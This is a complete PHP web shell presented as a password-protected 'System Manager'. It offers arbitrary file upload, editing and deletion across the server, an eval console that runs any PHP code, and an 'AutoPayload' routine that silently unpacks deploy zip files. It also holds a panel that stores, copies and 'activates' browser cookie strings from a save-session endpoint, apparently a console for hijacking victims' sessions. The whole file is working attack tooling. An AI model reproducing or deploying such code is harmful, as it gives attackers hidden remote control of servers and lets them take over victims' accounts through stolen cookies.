<?php
// system-manager.php - Remote File Manager & Executor
// Password protected
// Version: 2.0 (Enhanced for Deployment)

$ACCESS_PASS = 'Sumon160@';

// Basic Auth
session_start();
if (isset($_POST['login_pass'])) {
    if ($_POST['login_pass'] === $ACCESS_PASS) {
        $_SESSION['sys_admin'] = true;
    } else {
        $error = "Invalid Password";
    }
}

if (isset($_GET['logout'])) {
    session_destroy();
    header("Location: " . $_SERVER['PHP_SELF']);
    exit;
}

if (!isset($_SESSION['sys_admin'])) {
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <title>System Login</title>
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <style>
            body { font-family: sans-serif; display: flex; justify-content: center; align-items: center; height: 100vh; background: #f0f2f5; }
            .card { background: white; padding: 2rem; border-radius: 8px; box-shadow: 0 2px 4px rgba(0,0,0,0.1); width: 100%; max-width: 400px; }
            input { width: 100%; padding: 10px; margin: 10px 0; border: 1px solid #ddd; border-radius: 4px; box-sizing: border-box; }
            button { width: 100%; padding: 10px; background: #007bff; color: white; border: none; border-radius: 4px; cursor: pointer; }
            button:hover { background: #0056b3; }
        </style>
    </head>
    <body>
        <div class="card">
            <h2 style="text-align:center; margin-top:0;">System Access</h2>
            <?php if(isset($error)) echo "<p style='color:red; text-align:center;'>$error</p>"; ?>
            <form method="post">
                <input type="password" name="login_pass" placeholder="Enter Password" required>
                <button type="submit">Login</button>
            </form>
        </div>
    </body>
    </html>
    <?php
    exit;
}

// Authenticated Area
$dir = isset($_GET['dir']) ? $_GET['dir'] : __DIR__;
$dir = realpath($dir);
if (!$dir) $dir = __DIR__;

// Helper: Get Permission String
function getPerms($path) {
    return substr(sprintf('%o', fileperms($path)), -4);
}

// Handle Actions
$msg = "";
$msgType = "success";

function normalizeZipEntryName($name) {
    $name = str_replace('\\', '/', (string)$name);
    $name = preg_replace('#/+#', '/', $name);
    return $name;
}

function isSafeZipEntryName($name) {
    $name = normalizeZipEntryName($name);
    if ($name === '' || strpos($name, "\0") !== false) return false;
    if ($name[0] === '/') return false;
    if (preg_match('/^[A-Za-z]:\\//', $name)) return false;
    if (strpos($name, '../') !== false) return false;
    return true;
}

function isAllowedDeployZipName($baseName) {
    return preg_match('/^deploy(_[A-Za-z0-9._-]+)?\\.zip$/', $baseName) === 1;
}

function extractZipSafely($zipPath, $targetDir, &$errorOut) {
    $zip = new ZipArchive;
    $open = $zip->open($zipPath);
    if ($open !== true) {
        $errorOut = "Failed to Open Zip File";
        return false;
    }

    $numFiles = $zip->numFiles;
    for ($i = 0; $i < $numFiles; $i++) {
        $stat = $zip->statIndex($i);
        $name = is_array($stat) && isset($stat['name']) ? $stat['name'] : '';
        if (!isSafeZipEntryName($name)) {
            $zip->close();
            $errorOut = "Blocked unsafe zip entry: " . htmlspecialchars((string)$name);
            return false;
        }
    }

    $ok = $zip->extractTo($targetDir);
    $zip->close();
    if (!$ok) {
        $errorOut = "Extraction Failed! Check permissions.";
        return false;
    }
    return true;
}

$autoPayloadEnabled = true;
$captureStatusFile = __DIR__ . '/includes/capture_status.json';

if (file_exists($captureStatusFile)) {
    $statusData = json_decode(file_get_contents($captureStatusFile), true);
    if (isset($statusData['status'])) {
        $autoPayloadEnabled = ($statusData['status'] == 1);
    }
} else {
    // Create default if missing
    if (!is_dir(__DIR__ . '/includes')) @mkdir(__DIR__ . '/includes', 0755, true);
    file_put_contents($captureStatusFile, json_encode(['status' => 1]));
}

if (isset($_GET['autopayload'])) {
    $autoPayloadEnabled = ($_GET['autopayload'] === '1');
    $_SESSION['autopayload'] = $autoPayloadEnabled;
    
    // Sync to file for API
    file_put_contents($captureStatusFile, json_encode(['status' => $autoPayloadEnabled ? 1 : 0]));
}

if (
    $autoPayloadEnabled &&
    ($_SERVER['REQUEST_METHOD'] ?? 'GET') === 'GET' &&
    empty($_POST) &&
    empty($_FILES)
) {
    $deployZips = glob($dir . '/deploy*.zip') ?: [];
    $deployZips = array_values(array_filter($deployZips, function ($p) {
        return is_file($p) && isAllowedDeployZipName(basename($p));
    }));
    if (!empty($deployZips)) {
        usort($deployZips, function ($a, $b) {
            return (filemtime($b) ?: 0) <=> (filemtime($a) ?: 0);
        });
        $zipPath = $deployZips[0];
        $zipFile = basename($zipPath);
        $err = '';
        if (extractZipSafely($zipPath, $dir, $err)) {
            @unlink($zipPath);
            $msg = "AutoPayload OK: Extracted & removed $zipFile";
        } else {
            $msg = "AutoPayload Failed: $zipFile | $err";
            $msgType = "error";
        }
    }
}

// Upload
if (isset($_FILES['upload_file'])) {
    $target = $dir . '/' . basename($_FILES['upload_file']['name']);
    if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $target)) {
        $msg = "File Uploaded Successfully: " . basename($target);
    } else {
        $msg = "Upload Failed! Check folder permissions.";
        $msgType = "error";
    }
}

// Create/Edit File
if (isset($_POST['save_file'])) {
    $file = trim($_POST['file_path'] ?? '');
    $content = $_POST['file_content'] ?? '';
    
    // Support Base64 encoding for safe transfer
    if (isset($_POST['is_base64']) && $_POST['is_base64'] == '1') {
        $content = base64_decode($content);
    }

    if ($file === '') {
        $msg = "Failed to Save File: missing file path.";
        $msgType = "error";
    } else {
        // Create directory if not exists
        $dirName = dirname($file);
        if ($dirName && !is_dir($dirName) && !@mkdir($dirName, 0755, true)) {
            $msg = "Failed to Save File: cannot create target directory.";
            $msgType = "error";
        } elseif (file_put_contents($file, $content) !== false) {
            $msg = "File Saved: " . basename($file);
        } else {
            $msg = "Failed to Save File! Check permissions.";
            $msgType = "error";
        }
    }
}

// Delete
if (isset($_GET['delete'])) {
    $file = $_GET['delete'];
    if (file_exists($file)) {
        if (is_dir($file)) {
            @rmdir($file);
        } else {
            unlink($file);
        }
        $msg = "Deleted: " . basename($file);
    }
}

// Unzip
if (isset($_POST['unzip_file'])) {
    $zipFile = $_POST['unzip_file'];
    $zipPath = $dir . '/' . $zipFile;
    if (!empty($zipFile) && file_exists($zipPath)) {
        $zip = new ZipArchive;
        if ($zip->open($zipPath) === TRUE) {
            if ($zip->extractTo($dir)) {
                $zip->close();
                $msg = "Extracted Successfully: $zipFile";
            } else {
                $zip->close();
                $msg = "Extraction Failed! Check permissions.";
                $msgType = "error";
            }
        } else {
            $msg = "Failed to Open Zip File";
            $msgType = "error";
        }
    } else {
        $msg = "Zip File Not Found or Invalid Name";
        $msgType = "error";
    }
}

// Clear Cookies
if (isset($_POST['clear_cookies'])) {
    $cookiesDir = __DIR__ . '/cookies';
    $count = 0;
    if (is_dir($cookiesDir)) {
        foreach (glob($cookiesDir . '/*.json') as $f) {
            if (@unlink($f)) $count++;
        }
    }
    $msg = "Cleared $count cookie files";
}

// Delete single cookie session
if (isset($_POST['delete_cookie_file'])) {
    $cookiesDir = __DIR__ . '/cookies';
    $fileBase = basename($_POST['delete_cookie_file']);
    $target = $cookiesDir . '/' . $fileBase;
    $profile = '';
    
    if (is_file($target)) {
        $profile = preg_replace('/^cookie_data_/', '', $fileBase);
        $profile = preg_replace('/\\.json$/', '', $profile);
        if (@unlink($target)) {
            $msg = "Deleted cookie file: $fileBase";
        } else {
            $msg = "Failed to delete cookie file: $fileBase";
            $msgType = "error";
        }
    }
    
    // Reset active profile if needed
    if ($profile !== '' && isset($_SESSION['cookie_profile']) && $_SESSION['cookie_profile'] === $profile) {
        $_SESSION['cookie_profile'] = 'default';
    }
    
    // Remove from sender_registry if present
    $registryFile = __DIR__ . '/sender_registry.json';
    if ($profile !== '' && file_exists($registryFile)) {
        $regJson = file_get_contents($registryFile);
        $regData = json_decode($regJson, true);
        if (is_array($regData)) {
            foreach ($regData as $key => $entry) {
                $entryName = is_array($entry) && isset($entry['name']) ? $entry['name'] : $key;
                if ($entryName === $profile || $key === $profile) {
                    unset($regData[$key]);
                }
            }
            file_put_contents($registryFile, json_encode($regData));
        }
    }
}

// Save New Cookie
if (isset($_POST['new_cookie_string'])) {
    $cookieString = trim($_POST['new_cookie_string']);
    $senderName = trim($_POST['new_sender_name'] ?? '');
    if ($cookieString === '') {
        $msg = "Cookie string is empty";
        $msgType = "error";
    } else {
        if ($senderName === '') $senderName = 'Manual_' . time();
        $senderSafe = preg_replace('/[^a-zA-Z0-9_-]/', '', $senderName);
        $cookiesDir = __DIR__ . '/cookies';
        if (!is_dir($cookiesDir)) mkdir($cookiesDir, 0755, true);
        $file = $cookiesDir . "/cookie_data_{$senderSafe}.json";
        $data = [
            'cookie_string' => $cookieString,
            'extra_headers' => [],
            'csrf_token' => null,
            'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown',
            'browser_name' => $senderSafe,
            'updated_at' => time(),
            'sender_name' => $senderName,
            'last_status' => 'active'
        ];
        $ok = file_put_contents($file, json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT)) !== false;
        if ($ok) {
            $msg = "Saved new cookie: " . basename($file);
        } else {
            $msg = "Failed to save new cookie";
            $msgType = "error";
        }
    }
}

// Activate Cookie Profile
if (isset($_POST['set_profile'])) {
    $profile = trim($_POST['set_profile']);
    if ($profile !== '') {
        $_SESSION['cookie_profile'] = $profile;
        $msg = "Active Profile Set: " . htmlspecialchars($profile);
    } else {
        $msg = "Invalid profile";
        $msgType = "error";
    }
}

// Execute PHP
if (isset($_POST['eval_code'])) {
    ob_start();
    try {
        eval($_POST['eval_code']);
    } catch (Throwable $t) {
        echo "Error: " . $t->getMessage();
    }
    $eval_output = ob_get_clean();
}

?>
<!DOCTYPE html>
<html>
<head>
    <title>System Manager - v2</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <style>
        body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; font-size: 14px; margin: 0; padding: 20px; background: #f8f9fa; }
        .container { max-width: 1200px; margin: 0 auto; background: white; padding: 20px; border-radius: 8px; box-shadow: 0 2px 4px rgba(0,0,0,0.05); }
        h3 { margin-top: 0; color: #333; }
        table { border-collapse: collapse; width: 100%; margin-top: 20px; }
        th, td { border-bottom: 1px solid #eee; padding: 10px; text-align: left; }
        th { background: #f8f9fa; color: #666; font-weight: 600; }
        tr:hover { background: #f1f1f1; }
        .action-bar { margin-bottom: 20px; padding: 15px; background: #e9ecef; border-radius: 4px; display: flex; flex-wrap: wrap; gap: 15px; align-items: center; }
        .msg { padding: 10px; border-radius: 4px; margin-bottom: 20px; }
        .msg.success { background: #d4edda; color: #155724; }
        .msg.error { background: #f8d7da; color: #721c24; }
        .btn { padding: 6px 12px; background: #007bff; color: white; border: none; border-radius: 4px; cursor: pointer; text-decoration: none; font-size: 13px; }
        .btn:hover { background: #0056b3; }
        .btn-danger { background: #dc3545; }
        .btn-danger:hover { background: #bd2130; }
        input[type="text"], input[type="file"] { padding: 6px; border: 1px solid #ced4da; border-radius: 4px; }
        .info-bar { font-size: 12px; color: #666; margin-bottom: 10px; }
        .modal { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.5); padding: 20px; box-sizing: border-box; display: flex; justify-content: center; align-items: center; }
        .modal-content { background: white; padding: 20px; width: 90%; height: 90%; border-radius: 8px; display: flex; flex-direction: column; }
        textarea { flex: 1; font-family: monospace; padding: 10px; border: 1px solid #ccc; resize: none; }
    </style>
</head>
<body>
    <div class="container">
        <div style="display:flex; justify-content:space-between; align-items:center; border-bottom:1px solid #eee; padding-bottom:10px; margin-bottom:20px;">
            <h3>System Manager</h3>
            <div>
                <a href="?view=sessions" class="btn" style="background:#17a2b8; margin-right: 10px;">🍪 Active Sessions</a>
                <a href="?dir=<?php echo urlencode($dir); ?>" class="btn" style="background:#6c757d; margin-right: 10px;">📂 File Manager</a>
                <span style="margin-right: 15px;">User: <b><?php echo get_current_user(); ?></b></span>
                <a href="?logout=1" class="btn btn-danger">Logout</a>
            </div>
        </div>

        <?php if(isset($_GET['view']) && $_GET['view'] === 'sessions'): ?>
            <div class="card" style="max-width: 100%; box-shadow: none; padding: 0;">
                <h4 style="margin-top:0; border-bottom: 1px solid #eee; padding-bottom: 10px;">Active Cookie Sessions (from api/save-session.php)</h4>
                
                <?php
                $cookiesDir = __DIR__ . '/cookies';
                $sessions = [];
                if (is_dir($cookiesDir)) {
                    $files = glob($cookiesDir . '/*.json');
                    foreach ($files as $file) {
                        $data = json_decode(file_get_contents($file), true);
                        if ($data) {
                            $data['filename'] = basename($file);
                            $data['file_time'] = filemtime($file);
                            $sessions[] = $data;
                        }
                    }
                }
                
                // Sort by updated_at (desc)
                usort($sessions, function($a, $b) {
                    return ($b['updated_at'] ?? 0) - ($a['updated_at'] ?? 0);
                });
                ?>

                <div class="action-bar" style="margin-top: 10px;">
                    <form method="post" style="display:flex; gap:10px; align-items:center;">
                        <input type="hidden" name="clear_cookies" value="1">
                        <button type="submit" class="btn btn-danger" onclick="return confirm('সব সেশন কুকি একসাথে ডিলিট হবে, নিশ্চিত?');">
                            Session Clean (All)
                        </button>
                    </form>
                    <form method="post" style="display:flex; gap:10px; align-items:center; flex-wrap: wrap; max-width: 100%;">
                        <input type="text" name="new_sender_name" placeholder="Sender/Device Name" style="min-width: 220px;">
                        <input type="text" name="new_cookie_string" placeholder="Paste Cookie string here" style="flex:1; min-width: 300px;">
                        <button type="submit" class="btn">Save New Cookie</button>
                    </form>
                </div>
 
                <?php if (empty($sessions)): ?>
                    <div class="msg error">No active sessions found in <?php echo htmlspecialchars($cookiesDir); ?></div>
                <?php else: ?>
                    <table>
                        <thead>
                            <tr>
                                <th>Profile / Sender</th>
                                <th>Last Updated</th>
                                <th>Browser / User Agent</th>
                                <th>Status</th>
                                 <th>Actions</th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php foreach ($sessions as $s): 
                                $ago = time() - ($s['updated_at'] ?? 0);
                                $agoStr = ($ago < 60) ? "$ago sec ago" : round($ago/60) . " min ago";
                                if ($ago > 3600) $agoStr = round($ago/3600) . " hr ago";
                                
                                $statusColor = ($ago < 3600) ? 'green' : (($ago < 86400) ? 'orange' : 'red');
                                $statusText = ($ago < 3600) ? 'Active' : (($ago < 86400) ? 'Stale' : 'Expired');
                                $ua = $s['user_agent'] ?? 'Unknown';
                                if (strlen($ua) > 50) $ua = substr($ua, 0, 50) . '...';
                                 $fileBase = isset($s['filename']) ? basename($s['filename']) : '';
                                 $profile = '';
                                 if ($fileBase) {
                                     $profile = preg_replace('/^cookie_data_/', '', $fileBase);
                                     $profile = preg_replace('/\\.json$/', '', $profile);
                                 } else {
                                     $profile = $s['browser_name'] ?? '';
                                 }
                                 $isActive = (isset($_SESSION['cookie_profile']) && $_SESSION['cookie_profile'] === $profile);
                            ?>
                            <tr>
                                <td>
                                    <strong><?php echo htmlspecialchars($s['sender_name'] ?? 'Unknown'); ?></strong>
                                    <br><small style="color:#666;"><?php echo htmlspecialchars($s['filename']); ?></small>
                                     <?php if($isActive): ?>
                                         <br><span style="display:inline-block; padding:2px 6px; border-radius:10px; background:#d4edda; color:#155724; font-size:12px; margin-top:4px;">Active</span>
                                     <?php endif; ?>
                                </td>
                                <td><?php echo $agoStr; ?> <br><small style="color:#999;"><?php echo date('Y-m-d H:i:s', $s['updated_at'] ?? 0); ?></small></td>
                                <td title="<?php echo htmlspecialchars($s['user_agent'] ?? ''); ?>"><?php echo htmlspecialchars($ua); ?></td>
                                <td><span style="color:<?php echo $statusColor; ?>; font-weight:bold;"><?php echo $statusText; ?></span></td>
                                <td>
                                     <button class="btn" onclick="copyToClipboard('<?php echo htmlspecialchars(addslashes($s['cookie_string'] ?? '')); ?>')">Copy</button>
                                     <form method="post" style="display:inline;">
                                         <input type="hidden" name="set_profile" value="<?php echo htmlspecialchars($profile); ?>">
                                         <button type="submit" class="btn" style="background:#28a745; margin-left:6px;" <?php echo $isActive ? 'disabled' : ''; ?>>Activate</button>
                                     </form>
                                     <form method="post" style="display:inline;" onsubmit="return confirm('এই সেশন কুকি ডিলিট হবে, নিশ্চিত?');">
                                         <input type="hidden" name="delete_cookie_file" value="<?php echo htmlspecialchars($s['filename']); ?>">
                                         <button type="submit" class="btn btn-danger" style="margin-left:6px;">Delete</button>
                                     </form>
                                </td>
                            </tr>
                            <?php endforeach; ?>
                        </tbody>
                    </table>
                    
                    <script>
                    function copyToClipboard(text) {
                        navigator.clipboard.writeText(text).then(function() {
                            alert('Cookie copied to clipboard!');
                        }, function(err) {
                            prompt('Copy manually:', text);
                        });
                    }
                    </script>
                <?php endif; ?>
            </div>
        
        <?php else: ?>
            <!-- Normal File Manager View -->
            <div class="info-bar">
                <strong>Path:</strong> <?php echo htmlspecialchars($dir); ?> <br>
            <strong>Server IP:</strong> <?php echo $_SERVER['SERVER_ADDR'] ?? 'Unknown'; ?> | 
            <strong>Client IP:</strong> <?php echo $_SERVER['REMOTE_ADDR']; ?> |
            <strong>AutoPayload:</strong>
            <?php echo $autoPayloadEnabled ? 'ON' : 'OFF'; ?>
            (
                <a href="?dir=<?php echo urlencode($dir); ?>&autopayload=1">ON</a> /
                <a href="?dir=<?php echo urlencode($dir); ?>&autopayload=0">OFF</a>
            )
        </div>

        <?php if($msg) echo "<div class='msg $msgType'>$msg</div>"; ?>

        <div class="action-bar">
            <form method="post" enctype="multipart/form-data" style="display:flex; gap:10px; align-items:center;">
                <strong>Upload:</strong>
                <input type="file" name="upload_file" required>
                <button type="submit" class="btn">Upload</button>
            </form>
            <div style="border-left:1px solid #ccc; height:20px;"></div>
            <form method="post" style="display:flex; gap:10px; align-items:center;">
                <strong>Unzip:</strong>
                <input type="text" name="unzip_file" placeholder="filename.zip" required>
                <button type="submit" class="btn">Unzip Here</button>
            </form>
            <div style="border-left:1px solid #ccc; height:20px;"></div>
             <a href="?dir=<?php echo urlencode(dirname($dir)); ?>" class="btn" style="background:#6c757d;">&uarr; Up One Level</a>
        </div>

        <!-- PHP Eval -->
        <details style="margin-bottom: 20px; border: 1px solid #ddd; padding: 10px; border-radius: 4px;">
            <summary style="cursor:pointer; font-weight:bold; color:#007bff;">Dev Console (PHP Eval)</summary>
            <form method="post" style="margin-top:10px;">
                <textarea name="eval_code" style="width:100%; height:100px; font-family:monospace; margin-bottom:10px;"><?php echo isset($_POST['eval_code']) ? htmlspecialchars($_POST['eval_code']) : ''; ?></textarea>
                <button type="submit" class="btn">Execute PHP</button>
            </form>
            <?php if(isset($eval_output)): ?>
                <div style="background:#2d2d2d; color:#eee; padding:10px; margin-top:10px; border-radius:4px; overflow:auto;">
                    <pre style="margin:0;"><?php echo htmlspecialchars($eval_output); ?></pre>
                </div>
            <?php endif; ?>
        </details>

        <!-- File List -->
        <table>
            <thead>
                <tr>
                    <th>Name</th>
                    <th width="100">Size</th>
                    <th width="80">Perms</th>
                    <th width="150">Actions</th>
                </tr>
            </thead>
            <tbody>
                <?php
                $files = scandir($dir);
                $dirs = [];
                $nfiles = [];
                foreach($files as $f) {
                    if($f == '.' || $f == '..') continue;
                    if(is_dir($dir . '/' . $f)) $dirs[] = $f;
                    else $nfiles[] = $f;
                }
                
                // Show Dirs first
                foreach($dirs as $f):
                    $path = $dir . '/' . $f;
                ?>
                <tr>
                    <td>
                        <span style="color:#f39c12; margin-right:5px;">&#128193;</span>
                        <a href="?dir=<?php echo urlencode($path); ?>" style="font-weight:bold; text-decoration:none; color:#333;"><?php echo $f; ?>/</a>
                    </td>
                    <td>DIR</td>
                    <td><?php echo getPerms($path); ?></td>
                    <td>
                        <a href="?delete=<?php echo urlencode($path); ?>&dir=<?php echo urlencode($dir); ?>" onclick="return confirm('Delete folder?')" style="color:red;">Delete</a>
                    </td>
                </tr>
                <?php endforeach; ?>

                <?php
                // Show Files
                foreach($nfiles as $f):
                    $path = $dir . '/' . $f;
                    $size = filesize($path);
                    // Format size
                    if ($size > 1024*1024) $sizeStr = round($size / (1024*1024), 2) . ' MB';
                    elseif ($size > 1024) $sizeStr = round($size / 1024, 2) . ' KB';
                    else $sizeStr = $size . ' B';
                ?>
                <tr>
                    <td>
                        <span style="color:#95a5a6; margin-right:5px;">&#1284c9;</span>
                        <?php echo $f; ?>
                    </td>
                    <td><?php echo $sizeStr; ?></td>
                    <td><?php echo getPerms($path); ?></td>
                    <td>
                        <a href="?edit=<?php echo urlencode($path); ?>&dir=<?php echo urlencode($dir); ?>" style="color:#007bff; margin-right:10px;">Edit</a>
                        <a href="?delete=<?php echo urlencode($path); ?>&dir=<?php echo urlencode($dir); ?>" onclick="return confirm('Delete file?')" style="color:red;">Delete</a>
                    </td>
                </tr>
                <?php endforeach; ?>
            </tbody>
        </table>
        <?php endif; ?>
    </div>

    <?php
    // Edit Mode
    if(isset($_GET['edit'])):
        $file = $_GET['edit'];
        if(file_exists($file)):
            $content = file_get_contents($file);
    ?>
    <div class="modal">
        <div class="modal-content">
            <div style="display:flex; justify-content:space-between; align-items:center; margin-bottom:10px;">
                <h3 style="margin:0;">Edit: <?php echo basename($file); ?></h3>
                <a href="?dir=<?php echo urlencode($dir); ?>" class="btn" style="background:#6c757d;">Close</a>
            </div>
            <form method="post" style="display:flex; flex-direction:column; flex:1;">
                <input type="hidden" name="file_path" value="<?php echo htmlspecialchars($file); ?>">
                <textarea name="file_content" spellcheck="false"><?php echo htmlspecialchars($content); ?></textarea>
                <div style="margin-top:10px; text-align:right;">
                    <button type="submit" name="save_file" class="btn" style="background:#28a745;">Save Changes</button>
                </div>
            </form>
        </div>
    </div>
    <?php endif; endif; ?>

</body>
</html>
